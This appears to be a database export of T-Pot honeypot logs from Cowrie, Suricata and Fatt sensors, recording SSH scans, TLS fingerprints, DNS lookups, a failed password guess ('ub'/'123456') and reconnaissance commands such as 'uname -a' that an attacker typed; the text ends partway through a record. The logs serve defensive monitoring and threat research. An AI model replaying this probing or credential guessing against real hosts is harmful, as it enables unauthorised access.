34073	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:32.709398+03	2021-09-20 15:00:06.662185+03	{"_id": "WgYSA3wBvYTbRNuEc1N5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 31 seconds", "session": "7468c9710c83", "@version": "1", "duration": 31.21209406852722, "timestamp": "2021-09-20T11:58:32.709398Z", "@timestamp": "2021-09-20T11:58:32.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34074	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:32.403207+03	2021-09-20 15:00:06.663179+03	{"_id": "WAYSA3wBvYTbRNuEc1N5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:32.403207Z", "@timestamp": "2021-09-20T11:58:32.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34075	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:58:33.190492+03	2021-09-20 15:00:06.66418+03	{"_id": "WwYSA3wBvYTbRNuEdFOf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:32.194795+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 373369952860395, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 17583, "dest_port": 22, "timestamp": "2021-09-20T11:58:33.190492Z", "@timestamp": "2021-09-20T11:58:33.190Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
34076	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:58:35.286822+03	2021-09-20 15:00:06.666179+03	{"_id": "XQYSA3wBvYTbRNuEfFNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9917, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2083943757865062, "@version": "1", "in_iface": "enp5s0", "src_port": 53793, "dest_port": 53, "timestamp": "2021-09-20T11:58:35.286822Z", "@timestamp": "2021-09-20T11:58:35.286Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34077	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:58:34.965291+03	2021-09-20 15:00:06.667179+03	{"_id": "XwYSA3wBvYTbRNuEfFNy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 15686, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2760, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 412179277460861, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57413, "timestamp": "2021-09-20T11:58:34.965291Z", "@timestamp": "2021-09-20T11:58:34.965Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34078	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:35.013413+03	2021-09-20 15:00:06.668179+03	{"_id": "YgYSA3wBvYTbRNuEfVN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35906, "dest_port": 443, "timestamp": "2021-09-20T11:58:35.013413", "@timestamp": "2021-09-20T11:58:35.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34079	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:31.394607+03	2021-09-20 15:00:06.66918+03	{"_id": "TgYSA3wBvYTbRNuEb1OP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:31.394607Z", "@timestamp": "2021-09-20T11:58:31.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34080	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:32.402665+03	2021-09-20 15:00:06.670179+03	{"_id": "WQYSA3wBvYTbRNuEc1N5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:32.402665Z", "@timestamp": "2021-09-20T11:58:32.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34081	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:58:35.288131+03	2021-09-20 15:00:06.67218+03	{"_id": "XgYSA3wBvYTbRNuEfFNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9917, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2759, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2083943757865062, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53793, "timestamp": "2021-09-20T11:58:35.288131Z", "@timestamp": "2021-09-20T11:58:35.288Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34082	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:35.337133+03	2021-09-20 15:00:06.67418+03	{"_id": "YwYSA3wBvYTbRNuEfVN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35908, "dest_port": 443, "timestamp": "2021-09-20T11:58:35.337133", "@timestamp": "2021-09-20T11:58:35.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34083	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:58:35.377483+03	2021-09-20 15:00:06.675179+03	{"_id": "ZAYSA3wBvYTbRNuEfVN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35908, "timestamp": "2021-09-20T11:58:35.377483", "@timestamp": "2021-09-20T11:58:35.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34084	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:32.705786+03	2021-09-20 15:00:06.676179+03	{"_id": "VwYSA3wBvYTbRNuEc1N5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "183.17.231.81", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.3032081127166748, "duplicate": true, "timestamp": "2021-09-20T11:58:32.705786Z", "@timestamp": "2021-09-20T11:58:32.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34086	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:58:35.053723+03	2021-09-20 15:00:06.679182+03	{"_id": "YQYSA3wBvYTbRNuEfVN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35906, "timestamp": "2021-09-20T11:58:35.053723", "@timestamp": "2021-09-20T11:58:35.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34087	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:58:38.446166+03	2021-09-20 15:00:06.680179+03	{"_id": "jQYSA3wBvYTbRNuEilPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ff7d6f4b36d0", "@version": "1", "timestamp": "2021-09-20T11:58:38.446166Z", "@timestamp": "2021-09-20T11:58:38.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34088	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:58:38.645099+03	2021-09-20 15:00:06.681179+03	{"_id": "jgYSA3wBvYTbRNuEilPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [ub/123456] failed", "session": "e2743bff48ce", "@version": "1", "password": "123456", "username": "ub", "timestamp": "2021-09-20T11:58:38.645099Z", "@timestamp": "2021-09-20T11:58:38.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34089	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:58:39.806396+03	2021-09-20 15:00:06.682178+03	{"_id": "kAYSA3wBvYTbRNuEjlPV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ff7d6f4b36d0", "@version": "1", "duration": 1.4105944633483887, "timestamp": "2021-09-20T11:58:39.806396Z", "@timestamp": "2021-09-20T11:58:39.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34090	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:31.39515+03	2021-09-20 15:00:06.684179+03	{"_id": "UAYSA3wBvYTbRNuEb1OP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:31.395150Z", "@timestamp": "2021-09-20T11:58:31.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34091	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:58:38.393327+03	2021-09-20 15:00:06.685179+03	{"_id": "igYSA3wBvYTbRNuEilPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:49540 (192.168.176.2:22) [session: ff7d6f4b36d0]", "session": "ff7d6f4b36d0", "@version": "1", "protocol": "ssh", "src_port": 49540, "dest_port": 22, "timestamp": "2021-09-20T11:58:38.393327Z", "@timestamp": "2021-09-20T11:58:38.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34092	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:58:39.929311+03	2021-09-20 15:00:06.686179+03	{"_id": "jwYSA3wBvYTbRNuEjlPV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e2743bff48ce", "@version": "1", "duration": 2.7669522762298584, "timestamp": "2021-09-20T11:58:39.929311Z", "@timestamp": "2021-09-20T11:58:39.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34093	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:30.411646+03	2021-09-20 15:00:06.687179+03	{"_id": "SwYSA3wBvYTbRNuEa1Om", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:30.411646Z", "@timestamp": "2021-09-20T11:58:30.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34094	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:26.293849+03	2021-09-20 15:00:06.689179+03	{"_id": "LQYSA3wBvYTbRNuEXFMD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:26.293849Z", "@timestamp": "2021-09-20T11:58:26.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34095	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:26.895336+03	2021-09-20 15:00:06.690179+03	{"_id": "KwYSA3wBvYTbRNuEXFMD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "183.17.231.81", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", 